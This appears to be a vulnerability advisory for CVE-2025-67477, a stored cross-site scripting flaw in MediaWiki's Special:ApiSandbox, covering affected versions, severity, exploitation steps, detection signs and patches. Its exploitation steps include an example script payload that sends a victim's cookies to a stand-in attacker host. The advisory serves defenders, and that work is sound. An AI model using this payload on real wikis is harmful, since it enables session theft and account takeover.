CVE-2025-67477: 
NixOS vulnerability analysis and mitigation

CVE-2025-67477 is a Cross-Site Scripting (XSS) vulnerability in Wikimedia Foundation MediaWiki, specifically within the API Sandbox feature. The flaw resides in the file resources/src/mediawiki.Special.Apisandbox/ApiSandboxLayout.js and stems from improper neutralization of input during web page generation. It affects MediaWiki versions from 1.44.0 before 1.44.3, and version 1.45.0 (fixed in 1.45.1). The vulnerability was published on February 3, 2026, and carries a CVSS v3.1 base score of 6.1 (Medium) (Red Hat Advisory, Red Hat Bugzilla).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and is associated with the Special:ApiSandbox page in MediaWiki (Red Hat Bugzilla). The attack vector is network-based, requires no authentication (PR:N) but does require user interaction (UI:R), and has a changed scope, indicating the injected script can affect resources beyond the vulnerable component. A technical write-up published at infinitsec.net describes this as a stored XSS delivered through a system message in Special:ApiSandbox, meaning a high-privilege attacker can inject a persistent malicious payload that executes in the browsers of other users visiting the page (Infinitsec Write-up).

Successful exploitation allows an attacker to inject and execute malicious JavaScript in the context of a victim user's browser session on the affected MediaWiki instance. This can lead to theft of session tokens or credentials, unauthorized actions performed on behalf of authenticated users, interface defacement, or redirection to malicious external sites. While confidentiality and integrity impacts are rated low individually, the changed scope means the attack can affect users beyond the attacker's own session (Red Hat Advisory).

There is no public proof-of-concept exploit code and no evidence of active in-the-wild exploitation as of the time of reporting (Red Hat Advisory). The EPSS score is approximately 0.064%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high privileges to inject the stored payload (e.g., the ability to edit system messages), which significantly limits the attacker pool.

1. Privilege Acquisition: Obtain administrator or interface-editor privileges on the target MediaWiki instance, as editing system messages requires elevated access.
2. Identify the Vulnerable Component: Navigate to the Special:ApiSandbox page and identify the system message rendered by ApiSandboxLayout.js that is susceptible to unsanitized input.
3. Inject Malicious Payload: Edit the relevant MediaWiki system message (via Special:AllMessages or equivalent) to embed a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) that will be rendered without proper sanitization.
4. Trigger Execution: When any user (including lower-privileged users or anonymous visitors) visits Special:ApiSandbox, the stored payload executes in their browser context.
5. Harvest Results: Collect stolen session cookies, credentials, or perform further actions (e.g., CSRF, account takeover) using the exfiltrated data (Infinitsec Write-up).

• Logs: Unexpected edits to MediaWiki system messages (especially those rendered in Special:ApiSandbox) visible in the wiki's edit history or logging database table; access log entries showing unusual requests to Special:ApiSandbox with encoded script tags in parameters.
• Network: Outbound HTTP requests from user browsers to unknown external domains originating from visits to Special:ApiSandbox; unusual redirects or beacon requests to attacker-controlled infrastructure.
• File System: Unauthorized modifications to MediaWiki message files or database entries containing <script> tags or JavaScript event handlers in system message content.
• Process/Application: Unexpected JavaScript errors or CSP violation reports logged by the web server related to ApiSandboxLayout.js execution.

Wikimedia Foundation has released patched versions addressing this vulnerability: MediaWiki 1.44.3 (for the 1.44.x branch) and 1.45.1 (for the 1.45.x branch). Administrators should upgrade to one of these versions as the primary remediation (Red Hat Advisory, Red Hat Bugzilla). As interim mitigations, restrict the ability to edit system messages to the minimum necessary trusted administrators, implement Content Security Policy (CSP) headers to reduce XSS impact, and monitor Special:ApiSandbox usage and system message edit logs for suspicious activity. Debian users can apply the DSA-6085-1 security update (Debian Advisory).

Red Hat tracked the vulnerability via their security response process and assigned it medium severity (Red Hat Bugzilla). Debian issued a security advisory (DSA-6085-1) covering MediaWiki, which includes this CVE (Debian Advisory). A technical write-up was published by Infinitsec detailing the stored XSS mechanism through system messages in Special:ApiSandbox (Infinitsec Write-up). Broader community reaction has been limited given the medium severity rating and the requirement for high privileges to exploit.